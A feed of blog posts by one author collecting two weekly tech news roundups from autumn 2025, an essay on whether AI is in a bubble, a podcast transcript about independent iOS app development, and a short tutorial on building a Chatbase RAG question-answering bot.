Forem: junyu fang

Fang Junyu's Tech Weekly | October 4, 2025

junyu fang — Sat, 04 Oct 2025 14:30:22 +0000

Hello everyone, welcome to Fang Junyu’s Tech Weekly. This is a brand new column that summarizes the tech news from the past week and selects the right stories for coverage.

Hot News

1. Anthropic Launches Claude Sonnet 4.5

Anthropic today launched Claude Sonnet 4.5, which the company calls “the world’s best encoding model,” outperforming GPT-5 and Gemini 2.5 Pro. It’s also the most powerful model for building complex agents and using computers. Furthermore, Anthropic says it demonstrates significant improvements in reasoning and mathematics compared to Opus 4.1.

2. Sora 2 is now available

This week, AI giant OpenAI launched Sora 2, its flagship generative video and audio model. Sora 2 is OpenAI’s response to Google’s Veo 3, widely considered the most advanced generative AI video model to date.

OpenAI’s Sora app soared to the top spot in the App Store, surpassing Gemini and ChatGPT. Although currently invitation-only and available only to users in the US and Canada at launch, Sora was downloaded 56,000 times on its first day, according to the latest data from app intelligence provider Appfigures.

OpenAI Sora project lead Bill Peebles announced the achievement at X on Friday. In a post, he stated that his team is listening to feedback and iterating rapidly, and promised to send out more invite codes soon.

3. The US government shutdown has stalled IT projects.

The US government shutdown began at 12:01 PM ET on October 1st, halting non-essential IT modernization and leaving cybersecurity operations to a lean staff.

Since taking office, President Trump has made government technology reform a priority of his administration—at least in part. DOGE (Department of Government Technology Transformation), a non-government agency created by Trump and previously led by Elon Musk, was given a broad mandate when it was established in January to modernize IT systems. During this process, the government’s technology transformation team, 18F, was reportedly shut down under pressure from DOGE, making IT deals more difficult to secure. Similarly, many IT staff members have been laid off since the Trump administration took office.

4. OpenAI, now valued at $500 billion, could become the world’s most valuable startup.

After a secondary stock sale aimed at retaining employees, OpenAI may now become the world’s most valuable startup, surpassing Elon Musk’s SpaceX and TikTok’s parent company, ByteDance.

According to a source familiar with the matter but not authorized to discuss it publicly, current and former OpenAI employees sold $6.6 billion worth of stock to a group of investors, pushing the privately held artificial intelligence company’s valuation to $500 billion.

5. Video game giant EA is in talks to go private in a massive $50 billion acquisition.

Sources told The Wall Street Journal that Electronic Arts (EA) is in advanced talks to go private through a $50 billion leveraged buyout. The deal, expected to be announced next week, would be the largest of its kind ever if finalized.

Potential investors include Saudi Arabia’s Public Investment Fund, private equity firm Silver Lake Capital, and Jared Kushner’s Affinity Partners. While Saudi Arabia has invested billions in sports and video games in recent years, this acquisition would be its largest single gaming investment to date.

6. The UK announces plans for mandatory digital IDs

The UK is rolling out a nationwide digital ID scheme to combat illegal immigrant workers. A UK government press release on Friday announced that the digital ID will be stored on mobile devices via the GOV.UK wallet app, currently under development, and will become mandatory for adults working in the UK by July 2029.

The digital ID scheme has not yet been finalized and requires parliamentary approval before implementation. According to the press release, the UK government will launch a public consultation later this year to solicit feedback on how to implement the digital ID service.

Switzerland narrowly approves digital IDs. According to The Guardian, “Swiss voters narrowly backed an electronic ID scheme in a second national vote.”

7. Asahi Beer halts production due to cyberattack

Asahi Breweries, Japan’s largest beer company, shut down its distribution system after a cyberattack, leaving local beer consumers struggling to survive on existing stockpiles.

Asahi Group Holdings said in a statement: “Asahi Group Holdings is currently experiencing a system failure caused by a cyberattack, which is impacting operations in Japan.”

8. A data center fire paralyzed 647 government services in South Korea.

On Friday evening, a fire broke out at a data center operated by South Korea’s National Information Resources Service. According to South Korean media reports, technicians accidentally started the blaze while replacing a lithium-ion battery. As is common with battery fires, firefighters struggled to contain the blaze, which had spread to 234 batteries.

On Saturday, the South Korean government used a blog hosted on the local cloud service Naver to publish a list of phone numbers citizens could use to contact government agencies, as the fire also disabled government email. By Sunday, a government account named “X” began posting advice on how to access services.

9. OpenAI is partnering with South Korean giants Samsung and SK Hynix to support its large-scale AI projects.

OpenAI has convinced two South Korean chip giants to support its efforts to build its largest AI engine to date.

ChatGPT Factory: OpenAI confirmed this week that Samsung and SK Hynix will join the Stargate project, pledging to provide a significant number of advanced memory chips and collaborate on local AI data centers. The agreement, announced simultaneously by Seoul officials, solidifies South Korea’s position as a core supplier for the project. OpenAI CEO Sam Altman modestly called the project the largest infrastructure effort since the birth of the internet.

10. Generative AI is trying its hand at Hollywood.

Over the past few months, major players in the AI field, including OpenAI, Google, and Meta, have been meeting with film studios in hopes of establishing close working relationships. Lionsgate, for example, signed a deal with Runway to produce an internal generative AI model that will be trained on the studio’s film adaptations.

In late July, Amazon invested in Showrunner, a company that calls itself the “Netflix of AI” and specializes in clunky, user-generated animations with text prompts. Earlier this month, OpenAI announced plans to produce a feature-length film called Critterz, aimed at convincing studios that they can and should produce projects entirely with AI.

AI Bubble Column

1. Deutsche Bank warns that an AI bubble is the only thing keeping the US economy stable.

A recent Deutsche Bank research note to clients suggests that the AI boom is currently helping the US economy avoid a recession, but this trend cannot continue indefinitely. George Saravelos, Deutsche Bank’s global head of foreign exchange research, said that if large tech companies don’t invest heavily in building new AI data centers, the US will be close to a recession this year.

2. Analysts say Oracle will borrow at least $25 billion annually to support its AI ambitions.

KeyBanc estimates that Oracle may need to borrow approximately $100 billion over the next four years to build the data centers required as part of its $300 billion cloud computing contract with OpenAI.

KeyBanc Capital Markets reportedly estimates that if Big Red intends to build all the necessary additional cloud computing infrastructure as agreed with OpenAI earlier this month, it may need to borrow approximately $25 billion annually over the next four years. The source of these funds remains unknown, but one of the largest deals in AI is increasingly looking like a debt-funded transaction, potentially leaving a significant amount of debt unpaid should the AI bubble burst.

3. Sam Altman on the AI Bubble

In a recent interview, Sam Altman suggested we’re in the midst of an AI bubble. “When bubbles occur, smart people get overexcited about something that’s true,” he explained. “If you look back at most bubbles in history, like the tech bubble, they were all real. Technology was really important. The internet was really important. People got overexcited. Are we in a phase where investors are generally overexcited about AI? I think so. Is AI the most important thing for a long time to come? I think so too.”

4. Is the AI bubble bursting?

In recent years, the debate over the “AI bubble” has intensified. This article attempts to examine whether AI is in a bubble and what this means for us, drawing on investment valuations, infrastructure, market expectations, and historical comparisons.

You’re welcome to search for “方君宇” on WeChat, Zhihu, SubStack, Note, and podcast platforms like Apple Podcasts and Xiaoyuzhou to check out the latest episode of the article/podcast, “Is the AI Bubble Bursting?”

Is the AI bubble bursting?

junyu fang — Tue, 30 Sep 2025 05:51:31 +0000

In recent years, the debate over the “AI bubble” has intensified. This article attempts to examine whether AI is in a bubble and what this means for us, drawing on the perspectives of investment valuation, infrastructure, market expectations, and historical comparisons.

Is there an “AI bubble”?

From an economic perspective, a bubble exists when the price of an asset soars far above its fundamental value. The most famous example is the “Tulip Mania” in 17th-century Holland, where speculators drove up the price of tulip bulbs to astronomical heights, ultimately leading to a bursting of the bubble and the evaporation of wealth.

Similar signs are evident in the current AI industry:

1. High Price-to-Earnings Ratios: Approximately one-third of S&P 500 high-tech companies trade at P/E ratios exceeding 50. Nvidia’s P/E ratio is around 50, while Tesla’s is as high as 200. The “Big Seven” (Alphabet, Amazon, Apple, Meta, Microsoft, Nvidia, and Tesla) comprise over one-third of the index, and their stock prices have surged significantly due to the “AI narrative.”

The P/E ratio can be simply understood as the payback period: the lower the P/E ratio, the faster the payback period. For example, suppose a stock has a market price of 24 yuan and earnings per share of 3 yuan over the past year. The P/E ratio is 24/3 = 8, giving the stock a P/E ratio of 8. If inflation is not factored in, the payback period is 8 years. In theory, a lower P/E ratio indicates lower investment risk and greater investment value. A high P/E ratio suggests the market predicts rapid future earnings growth, but may indicate a bubble. It’s important to note that a stock with a price-to-earnings ratio of zero indicates it lost money last year.

2. Infrastructure Overbuilding: Companies are pouring billions of dollars into GPUs, power, and cooling infrastructure. Companies like OpenAI, Nvidia, and Oracle are investing in each other and jointly building hyperscale data centers. This “mutually pumping” phenomenon resembles a Ponzi cycle: money flows between companies, but real user value remains difficult to prove.

Infrastructure bubbles occurred repeatedly in the late 19th century, when railroad investors built thousands of miles of unnecessary track to meet future demand that never materialized. The most recent one occurred in the late 1990s, when anticipation of a surge in internet traffic led to the laying of vast quantities of fiber optic cable, a demand that didn’t materialize until decades later.

3. Inadequate Returns: Expectations for a new technology outstrip reality, and the discussion surrounding it becomes increasingly detached from possible future outcomes. Social media, print, and online media are awash with AI-related content, and the hype surrounding AI has dominated the business world for the past few years. A recent MIT study showed that 95% of 300 publicly disclosed AI projects had zero return on investment, suggesting that the AI craze remains largely at the conceptual and experimental stage, rather than generating large-scale profits.

Sam Altman believes we’re in the midst of an AI bubble. “When bubbles occur, smart people get overexcited about some truth,” he explains. “If you look back at most bubbles in history, like the tech bubble, they were all real. Tech was really important. The internet was really important. People got overexcited. Are we in a phase where investors are overexcited about AI as a whole? I think so. Is AI the most important thing for a long time to come? I think so too.”

This unrealistic expectation is also reflected in AI-related humanoid robots. iRobot co-founder and renowned roboticist Rodney Brooks recently stated that investors pouring billions into humanoid robot startups are wasting their money. This is because the human hand is incredibly complex, with approximately 17,000 specialized touch receptors, which no robot can match. While machine learning has revolutionized speech recognition and image processing, these breakthroughs are built on decades of existing technology used to capture the right data.

Brooks argues that billions of dollars are being invested in expensive training experiments that will never reach mass production.

Historical Echoes of Bubbles

To understand the AI bubble, we can look back at history:

British Railway Bubble (1840s): The British railway transportation industry experienced a stock market bubble in the 1840s. It followed a familiar pattern: as railroad shares rose, speculators invested more money, further driving up the stock prices until they collapsed. The frenzy reached its peak in 1846, when Parliament passed 263 bills establishing new railway companies, planning to build a total of 9,500 miles (15,300 kilometers) of lines. Roughly one-third of the approved lines were never built—the companies either collapsed due to poor financial planning, were acquired by larger competitors before completing their lines, or were ultimately proven to be fraudulent enterprises designed to divert investor funds to other businesses.

American Railroad Speculation (Second Half of the 19th Century): Between 1866 and 1873, 35,000 miles of new track were laid in the United States. Banks and other industries poured money into railroad construction, leading to a rapid expansion that far exceeded actual demand. The collapse of Jay Cooke and Company, a bank heavily invested in railroads, triggered the Panic of 1873. However, the United States eventually developed a national market and transportation system.

The Dot-com Bubble (1990s): This was a stock market bubble that erupted in the late 1990s. Driven by the widespread adoption of the World Wide Web and the internet, many investors were eager to invest in any dot-com company, regardless of valuation, especially if its name contained an internet-related prefix or suffix. Venture capital was easily raised, leading to a rapid increase in the allocation of available venture capital and the valuations of emerging internet startups. The bubble burst in 2000, and the Nasdaq index plummeted 72%, erasing all gains made during the bubble. After the dot-com bubble burst, many startups failed to turn a profit after exhausting their venture capital, or even achieved any substantial revenue or finished products. However, the surviving companies (such as Amazon and Google) fueled a new wave of technology.

This chart shows the contribution of the railroad bubble, dot-com bubble, and artificial intelligence bubble to US GDP, respectively. It’s estimated that by 2025, AI capital expenditures could account for 2% of US GDP, meaning AI’s contribution to GDP growth in 2025 will reach 0.7%.

The AI bubble is similar to previous bubbles in that massive amounts of capital were poured into AI, allowing some startups to secure multimillion-dollar valuations simply by adding “AI” to their names. AI companies expanded infrastructure, adding GPUs, increasing training data, and investing in each other, leading investors to believe returns were in their sights. When companies built excessive infrastructure, outstripping demand, they ultimately suffered a devastating recession due to declining market expectations and inability to repay loans.

At this point, the AI bubble began to burst, leaving behind a vast supply of cheap infrastructure. Most companies built infrastructure that failed to generate profitability and ultimately faced acquisition by larger competitors. While the bursting of the bubble had a severe economic impact, it also fostered future technological advancement and new business models, just as the United States will eventually run out of railroads and fiber optic cables.

Risks and Potential of an AI Bubble

The current AI bubble continues to grow, manifesting itself in the following ways:

1. Valuations detached from fundamentals: If AI companies fail to deliver on their profit promises in the next few years, investor confidence will collapse rapidly, and capital withdrawal will trigger a stock price avalanche. Many startups rely on venture capital for transfusions, and if their funding chains break, widespread closure will occur.

2. Overexpanded infrastructure: An oversupply of GPUs and data centers could lead to a repeat of the oversupply of railways and fiber optic cables. Huge investments in assets that are not immediately profitable could ultimately lead to massive asset devaluation and debt defaults. The long-term costs of energy consumption, land requirements, and cooling infrastructure could also become a crushing burden for companies.

3. Impact on the broader economy: According to Morgan Stanley, the AI industry generates $45 billion annually, and this is based on fabricated accounting. To justify these valuations, the industry would need to achieve $2 trillion in revenue by 2030, a highly unlikely target. (The Wall Street Journal points out that this exceeds the combined revenue of Amazon, Google, Microsoft, Apple, Nvidia, and Meta.)

If the bubble bursts, the consequences could be similar to the 2000 dot-com bubble. Currently, countries are prioritizing AI and accelerating infrastructure development. Investment in AI far exceeds anything seen in the early 21st century. If the bubble is large enough, it could be a repeat of the 2008 financial crisis.

How can ordinary people cope with the risk of a bubble?
For ordinary people, the bursting of the AI bubble will severely impact employment. Tech workers are likely to bear the brunt, with a wave of unemployment further tightening the job market. After the dot-com bubble burst in 2000, many programmers entered a saturated job market, worsening the employment situation. The number of computer science-related university freshmen has declined significantly, forcing the unemployed to change careers.

Secondly, asset devaluation will occur. Individual investors who invest in tech stocks through the stock market, funds, and bonds may suffer significant losses due to falling valuations. If a wave of defaults threatens the solvency of the banking system, the entire economy could stagnate.

With the bursting of the bubble, the economy will slow further. Tech giants are the backbone of today’s investment and employment. If they scale back investment due to the bubble burst, it will not only directly affect millions of jobs but could also drag down sectors such as real estate, consumption, energy, and even tourism, creating a chain reaction. This was already demonstrated during China’s real estate bubble, which triggered a decline in consumer confidence.

Amidst the dual impact on employment and assets, young people’s declining trust in the tech industry may affect their educational and career choices, leading to a further decline in the tech workforce for some time to come.

For the average person, the strategy is to avoid over-concentrating investments in a single sector, especially in highly valued tech stocks. Maintain flexibility in career choices and focus on industries with long-term, essential demand (such as healthcare, energy, and infrastructure maintenance). Understand the opportunities that emerge after a bubble bursts. Just like Google and Amazon after the dot-com bubble, the field of artificial intelligence will ultimately leave behind truly valuable companies and applications.

Conclusion

Artificial intelligence is a crucial future direction, but there’s a significant gap between current market enthusiasm and actual returns. A bubble may have formed, and its bursting point depends on the critical mass of capital information.

The key for us is to recognize the risks posed by the AI bubble while also understanding the foundations its burst may leave behind for future development. In other words, the future of AI won’t disappear due to a bubble, but its historical development path is destined to be more tortuous than today’s narrative.

When the AI bubble bursts, what will be the next bubble? Bitcoin?

Reference Articles

1、I talked to Sam Altman about the GPT-5 launch fiasco：https://www.theverge.com/command-line-newsletter/759897/sam-altman-chatgpt-openai-social-media-google-chrome-interview

2、There isn’t an AI bubble—there are three：https://www.fastcompany.com/91400857/there-isnt-an-ai-bubble-there-are-three-ai-bu

3、OpenAI Teams Up With Oracle and SoftBank to Build 5 New Stargate Data Centers：https://www.wired.com/story/openai-oracle-softbank-data-center-stargate-us/

4、Are We In an A.I. Bubble? I Suspect So.：https://gideons.substack.com/p/are-we-in-an-ai-bubble-i-suspect

5、Pluralistic: The real (economic) AI apocalypse is nigh (27 Sep 2025)：https://pluralistic.net/2025/09/27/econopocalypse/

6、‘Dot-Com Bubble 2.0’ could burst at any time：https://www.reddit.com/r/technology/comments/1ni2qiq/dotcom_bubble_20_could_burst_at_any_time/

7、‘Dot-Com Bubble 2.0’ could burst at any time：https://marxist.com/dot-com-bubble-2-0-could-burst-at-any-time.htm

8、Nvidia adds more air to the AI bubble with vague $100B OpenAI deal：https://www.theregister.com/2025/09/22/openai_nvidia_chips/

9、The AI bubble is the only thing keeping the US economy together, Deutsche Bank warns：https://www.techspot.com/news/109626-ai-bubble-only-thing-keeping-us-economy-together.html

10、The AI bubble is the only thing keeping the US economy together, Deutsche Bank warns | When the bubble bursts, reality will hit far harder than anyone expects：https://www.reddit.com/r/technology/comments/1nqydkg/the_ai_bubble_is_the_only_thing_keeping_the_us/

11、Famed roboticist says humanoid robot bubble is doomed to burst：https://techcrunch.com/2025/09/26/famed-roboticist-says-humanoid-robot-bubble-is-doomed-to-burst/

12、The AI bubble is the only thing keeping the US economy together, Deutsche Bank warns：https://www.techspot.com/news/109626-ai-bubble-only-thing-keeping-us-economy-together.html

13、The AI Bubble grows Ponzi Scheme Symptoms：https://www.ai-supremacy.com/p/the-ai-bubble-grows-ponzi-scheme-symptoms-to-meet-compute-demands?utm_source=post-email-title&publication_id=396235&post_id=174595316&utm_campaign=email-post-title&isFreemail=true&r=7wg20&triedRedirect=true&utm_medium=email

14、维基百科-郁金香狂热：https://zh.wikipedia.org/wiki/%E9%AC%B1%E9%87%91%E9%A6%99%E7%8B%82%E7%86%B1

15、维基百科-日本泡沫经济：https://zh.wikipedia.org/wiki/%E6%97%A5%E6%9C%AC%E6%B3%A1%E6%B2%AB%E7%BB%8F%E6%B5%8E

16、维基百科-美国互联网泡沫经济：https://zh.wikipedia.org/wiki/%E4%BA%92%E8%81%AF%E7%B6%B2%E6%B3%A1%E6%B2%AB

17、维基百科-金融海啸：https://zh.wikipedia.org/wiki/2007%E5%B9%B4%E2%80%932008%E5%B9%B4%E7%92%B0%E7%90%83%E9%87%91%E8%9E%8D%E5%8D%B1%E6%A9%9F

18、维基百科-NET炒作泡沫：https://zh.wikipedia.org/wiki/NFT

19、维基百科-ChatGPT：https://zh.wikipedia.org/wiki/ChatGPT

20、Mark Zuckerberg on Meta’s new Ray-Ban display glasses, the AI bubble, and superintelligence | ACCESS：https://www.youtube.com/watch?v=23FyskyFoP8&t=4119s

21、Sam Altman：https://blog.samaltman.com/

22、Will data centers crash the economy?：https://www.noahpinion.blog/p/will-data-centers-crash-the-economy

23、Railway Mania：https://en.wikipedia.org/wiki/Railway_Mania

24、Wiki- Dot-com bubble: https://en.wikipedia.org/wiki/Dot-com_bubble

25、市盈率：https://zh.wikipedia.org/wiki/%E5%B8%82%E7%9B%88%E7%8E%87

26、Honey, AI Capex is Eating the Economy：https://paulkedrosky.com/honey-ai-capex-ate-the-economy/

Fang Junyu's Technology Weekly - September 26, 2025

junyu fang — Fri, 26 Sep 2025 06:34:13 +0000

Hello everyone, welcome to Fang Junyu’s Tech Weekly. This is a brand new column that summarizes the tech news from the past week and selects the right stories for coverage.

1. Apple is considering building a pilot production line for a foldable iPhone in Taiwan, with plans to launch the new foldable iPhone in 2026.

Currently, multiple sources have confirmed that Apple plans to release its first foldable iPhone in 2026 as part of the iPhone 18 lineup. For example, industry analyst Ming-Chi Kuo stated that Apple plans to release a foldable iPhone next year, followed by a foldable iPad in 2028.

2. iPhone 17 “Scratch Gate” Incident

Bloomberg News visited Apple stores in Hong Kong, Shanghai, and London and found that the dark blue iPhone 17 Pro and Pro Max showed signs of scuffing after just a few hours on display. Reporters also observed that the black iPhone Air was prone to scratches.

Apple responded to the “scratchgate” incident on Wednesday, stating that the scratches seen in its stores were not actual scratches, but rather material from the MagSafe mount transferred to the phone or caused by dust.

3. OpenAI plans to launch its first device in late 2026 or early 2027.

Sources indicate that Luxshare Precision has secured an assembly contract for at least one OpenAI device. OpenAI has also approached Goertek, which assembles AirPods, HomePods, and the Apple Watch, about supplying components such as speaker modules for future products. According to sources familiar with the matter, OpenAI’s planned products include similar displayless smart speakers, and are also considering developing glasses, digital voice recorders, and wearable brooches. The first devices are slated for release in late 2026 or early 2027.

4. Multiple bubbles exist in the AI field

Sam Altman believes there’s an AI bubble, and a Fast Company article suggests there are three.

AI is almost certainly in what economists call an asset bubble or speculative bubble: asset prices have soared far above their fundamental value; vast sums of money have been invested in infrastructure without any certainty that it will be fully utilized; expectations for a new technology have outstripped reality, and the discussion surrounding the technology has become increasingly detached from possible future outcomes.

5. Malware infecting Steam games disguised as patches

A 2D platformer game called BlockBlasters on Steam began showing signs of malicious activity after a patch was released on August 30th. While users were playing the game, various information (including cryptocurrency wallet data) was stolen from the computer running the game. Hundreds of users may have been affected.

6. The 20th-anniversary iPhone will feature a brighter, thinner display.

The new display is an OLED display that Apple and other companies have been developing for at least three years. It removes the polarizing layer that currently prevents light blurring on the screen.

An industry insider, speaking on condition of anonymity, said, “Apple plans to apply COE to a candy-bar smartphone in 2027 to celebrate the 20th anniversary of the iPhone.”

7. Sogou Input Method was found by Huorong to be tampering with browser configurations.

Huorong Security Center released a report stating that a cloud-controlled module of Sogou Input Method forcibly modifies the homepage and default search engine settings of two major browsers, Edge and Chrome.

Sogou Input Method stated that the issue stemmed from a test feature that had not yet been officially released and was externally accessible due to an abnormal test configuration.

8. Up to 2 million Cisco devices were affected by an actively exploited zero-day vulnerability.

Up to 2 million Cisco devices are vulnerable to an actively exploited zero-day vulnerability that could cause a remote crash or code execution on vulnerable systems. Cisco said Wednesday that the vulnerability, tracked as CVE-2025-20352, exists in all supported versions of Cisco IOS and Cisco IOS XE, the operating system used by many of Cisco’s network devices. Low-privileged users could exploit the vulnerability to cause a denial of service attack, while high-privileged users could exploit it to execute code with unrestricted root privileges. The vulnerability has a severity rating of 7.7 out of 10.

9. Xiaomi’s new phone features a second screen, surpassing Apple’s iPhone design.

Chinese smartphone manufacturer Xiaomi has long focused on photography in its flagship Android phones, housing a versatile camera system in a large, circular module on the back. The just-released 17 series represents a real leap forward (perhaps skipping the 16 series makes sense), featuring a completely new design more in line with the style of other 2025 smartphones.

10. OpenAI launches ChatGPT Pulse, proactively writing your morning briefing.

OpenAI is rolling out a new feature in ChatGPT called Pulse, which generates personalized reports while users sleep. Pulse provides users with a quick overview of their day with 5-10 briefings, designed to encourage them to check ChatGPT first thing in the morning—just like they would their social media or news app.

History of Apple Events

On June 29, 2007, San Francisco became the focus of global attention as it was the official launch day of the first iPhone. People in San Francisco were watching the first iPhone.

Other Information:

Spot gold hit a new all-time high of $3,733.12 per ounce, with a cumulative increase of over 42% this year. On September 23, 2025, the market price of gold hovered around 860 yuan (RMB) per gram.
Typhoon Bhatt-e-Khalil will affect most of the South China Sea, the Taiwan Strait, and southern Guangdong. Winds in the nearby waters or regions along the typhoon’s path will reach force 14-17, bringing heavy rainstorms to some coastal areas, with some areas experiencing torrential downpours.
Nvidia and OpenAI reached a $100 billion agreement, further fueling the AI bubble.
The IEEE released its 2025 ranking of top programming languages, with Python, Java, C++, SQL, and C# occupying the top five spots, and Swift ranking 16th. HTML ranked lower overall and in popularity (18th and 22nd, respectively), but with job demand ranking 8th, demand for web jobs remains strong.
OpenAI is partnering with Oracle and SoftBank to build five new Stargate data centers.
A Japanese city passed a two-hour daily smartphone use ordinance.
Intel held investment talks with Apple but failed to reach an agreement.
Jaguar Land Rover suffered a cyberattack, triggering a supply chain crisis.
Apple asked the EU to repeal the Digital Markets Act, but the EU hinted it would not hear Apple’s complaint.
Chrome introduced Gemini and the ability to read web pages like podcasts.
Research shows that new AI tools can be used to predict long-term disease risks.
GitHub strengthens npm security by enforcing 2FA and access tokens.
LastPass issued a Mac malware warning: Fake password managers spread malicious programs.
Leaks continue to surface about Samsung’s next major Android update, which includes more AI and Liquid Glass features.
An ultra-affordable MacBook powered by an iPhone chip is about to enter production.
The M5 MacBook Pro and MacBook Air are expected to launch in early 2026.
iOS 26: Precisely match the hue of app icons to the iPhone case color.
iOS 26: A bug prevented Calendar from searching, and the system occasionally disconnected Wi-Fi and Bluetooth connections, impacting CarPlay.
iPhone will add US passport support by the end of 2025, and North Dakota driver’s licenses will soon be available in Apple Wallet.
Some iPhone 17, iPhone 17 Pro, and iPhone Air users experienced intermittent Wi-Fi issues.

Independent development of side hustles

junyu fang — Thu, 18 Sep 2025 02:44:01 +0000

The content of this article is excerpted from the "Things about Independent Development of Side Businesses" program of the "Fang Junyu" Chinese podcast. Everyone is welcome to search and listen to this podcast program on major podcast platforms.

[Opening Remarks]

Fang Junyu: Hello everyone, welcome to my personal podcast, where I record moments of my daily life through sound. I'm Fang Junyu. This episode is titled "Side Jobs with Independent Development." I've also invited an independent developer I know, Xiao He, to introduce him to you.

Xiao He: Hello everyone, I'm Xiao He. I'm currently developing independent apps, so I have a good understanding of the field.

Xiao He: Let me start by saying that my main job is a front-end web developer. Since independent Apple developers have been so popular in recent years, I've been able to capitalize on this buzz. You'll notice that there are very few independent Android developers; most of them are Apple developers or web developers going global.

Fang Junyu: I see a lot of independent Apple developers on Xiaohongshu, while Android apps might be restricted by licensing and other factors.

Xiao He: Yes, getting apps on Android is more complicated. Why do Apple apps have more independent developers than Android apps? It's not a big deal; it's almost one-sided. Most apps are developed independently by Apple. In China, Android apps need to be listed on different app stores, and each manufacturer (Xiaomi, Huawei, Oppo) has different requirements for listing apps, making adaptation more complex. Furthermore, Android apps also require software copyright and enterprise certification, making the Android listing process even more complex and less profitable.

Fang Junyu: I wonder if the current surge in independent Apple development is related to Swift, as Objective-C was previously more difficult to learn.

Xiao He: Swift has been around for a long time, but many people use UIKit to develop Apple interfaces. SwiftUI has been around for many years, so it's actually quite stable. It just happened to be at the critical juncture of AI, and everything just clicked.

Fang Junyu: I started doing independent development myself, too. I followed the 100 Days of SwiftUI tutorial and used ChatGPT, and then I got started.

[Discussion on the Direction of Independent App Development]

Fang Junyu: I recently saw someone post about the direction of independent developers, saying they should choose a specific niche market. We've also discussed this in our group chats. When large companies see your app is popular, they'll copy it. Although my apps are all open-source and free, it's not a big loss for me if they copy. As long as you have a niche, whether you're developing a travel app or any other app, including games, you'll find all sorts of copycats flooding the domestic market...

Xiao He: The trend of independent development on iOS is very clear and growing.

Fang Junyu: Especially with the use of AI, most people can try to create their own tools. Even if your app doesn't have a market, you can still use it yourself...

Xiao He: Currently, this trend is happening in China, but I think the trend of independent developers overseas will also gradually grow, especially in more niche countries. I'm not talking about countries like Europe and the US, where independent development has been popular for a long time. I'm talking about more niche countries, like those in Southeast Asia and South America.

[Discussion on the Three Stages of Independent App Development (Individual → Studio → Company)]

Fang Junyu: Xiao He, the studio you're running now with a few friends is actually the second stage of independent development. I've previously said that independent development is a one-person effort. Once the app has a good market and direction, you can start a studio with three or four people. Once the studio generates a certain amount of income, you can start a company. There's still a long way to go from independent development to a company, but in this direction, it seems you're already in the second stage.

Xiao He: Why go directly to the second stage? Because everyone doesn't have the time to stay in the first stage. They don't have the full time to build Banklet all on their own like you did. Everyone doesn't have that kind of time, but everyone works on a module, with someone contributing to the design and product development. This model is more suitable for those who are already employed.

[Discussion on the Long-Term Development of Independent Development]

Fang Junyu: From a long-term perspective, how do you view independent development? Can it replace your main business and have a longer-term development path?

Xiao He: I think there is hope. Independent development does have a future. However, I currently feel that the significance of whether independent development can succeed isn't inherently about the developers themselves, as the pressure on the operations side may be greater right now.

Fang Junyu: App promotion?

Xiao He: Yes, for app promotion, the operations side is responsible. I believe an app will be better than similar apps, but if there are problems with promotion, it won't actually take off.

Fang Junyu: Right, right, right. If early promotion isn't good, the app is easily copied and replaced.

Xiao He: Right. So, while I'm optimistic about independent developers, I'm more optimistic about those who build branded or independent IP, rather than those who focus solely on deep technical development. Even if they don't promote, if development efficiency improves and the scale of their business increases, then I'm optimistic. I once met a developer who created a mini-program. He didn't promote it, but he created a hundred of them. He built up a significant scale and was able to generate stable revenue from advertising...

Xiao He: It really depends on whether your app can become popular and whether it can meet public demand at the right time. I think that's crucial. After all, as long as you have one popular app, that's enough. So, I think you should focus on one direction.

[Discussion on Independent Development for Each Platform]

Fang Junyu: There are quite a few WeChat mini-programs in the widget category. WeChat is, after all, a massive traffic portal.

Xiao He: You're not just targeting China; WeChat only has the domestic market. Right? Then you go to Hong Kong, Taiwan, Macau, and Europe.

Fang Junyu: They don't use WeChat.

Xiao He: Right, so we still have to develop iOS apps.

Fang Junyu: Including later stages, if iOS does well, this independent development will also cover Android and HarmonyOS. HarmonyOS has many incompatibilities. Anyway, both Android and iOS can be updated simultaneously in the future.

[Discussion on Expected Income from Independent Development]

Fang Junyu: Since I'm going independent development, I imagined that after I finished, my app would be like a cash cow. You could rely on your app forever, no matter how many people buy it; after all, you only need to sell your product. It's not like other businesses (like selling fish or tea) where you have to pick up and sell goods every day. But once your app is created, you need to put it on app stores like the App Store, and people will buy and use it... You can generate a stable income of 30,000 to 40,000 yuan per year, allowing you to go out and have fun, travel, and your app will be like a cash cow on your computer, with people constantly buying and using it.

Fang Junyu: What kind of life do you imagine for independent development? Is it the same as mine? Or is there a difference between reality and idealism?

Xiao He: The idea that if an app has stable income, you can just ignore it is unrealistic. There's basically no such thing as an untapped niche; there will always be many similar apps. Constant iteration, operation, and maintenance are still necessary.

Fang Junyu: If your app generates a few thousand or even tens of thousands of yuan in revenue per month, independent development is a very good position compared to any other position. You have a product.

Xiao He: Because if you succeed, others will copy you. And they'll invest more in traffic, advertising, and promotion. Sooner or later, you'll be outperformed. So, independent development is difficult these days. Planting a cash cow and expecting it to just roll in the dough without watering is practically impossible.

Fang Junyu: Continuous optimization is still necessary to increase the usage of these apps and further compete. Staying ahead at the starting line is like sailing against the current; if you don't advance, you retreat. Even if your app is excellent, if you don't keep up, it will be slowly replaced by others.

[End]

Fang Junyu: Thank you very much, Xiao He, for joining us and sharing his experiences with independent development and my own experiences with app development. We also discussed the development of independent development, including future trends.

Xiao He: See you next time, if you have time, to continue our conversation.

Fang Junyu: Time may be limited today, so we won't expand on this topic any further. We may discuss independent development or other topics later, and we'll invite Xiao He back to be a guest on our podcast. Thank you very much for listening. Goodbye everyone.

Chatbase + Rag: Quickly build your knowledge base question-answering robot

junyu fang — Sun, 14 Sep 2025 09:26:52 +0000

ChatBase + RAG: Simply put, it treats your website's articles as a knowledge base, connects them to a large language model (LLM), and uses RAG (Retrieval-Augmented Generation) to enable a bot to answer questions based on the content you provide.

You can also think of it as generating a dedicated Q&A AI customer service for your website:

It can be used as an FAQ intelligent customer service, a website embed assistant, or for internal knowledge base queries.

Chatbase + RAG can provide more precise answers, reducing the burden on users searching through large amounts of website data.

Register and create a Chatbase account

When creating a Chatbase Agent, if the type is "Website," select "Website" and enter the website link. If the type is "File" or "Text," select "Files" or "Text," as appropriate.

Since I'm setting up a Q&A bot for my personal blog, I selected "Website," entered the URL, and clicked "Fetch links" to capture the website's links and resources.

After the capture is complete, click “Create agent” on the right to create Chatbase Agent.

Managing Chatbase Agents

After creation is complete, the Chatbase Agent management interface will be displayed.

You can select the "Model" AI type, such as GPT-4o Mini. For development technology, we recommend Claude 3 Haiku, which is technologically superior to ChatGPT.

Under Activity - Chat logs on the left, you can view conversations with the Chatbase Agent. All subsequent conversations are stored here.

Deploy Chatbase Agent

Click "Deploy" on the left to see the Chat widget. The Chat widget can be added to your website and supports iframes. Click "Setup" to deploy it.

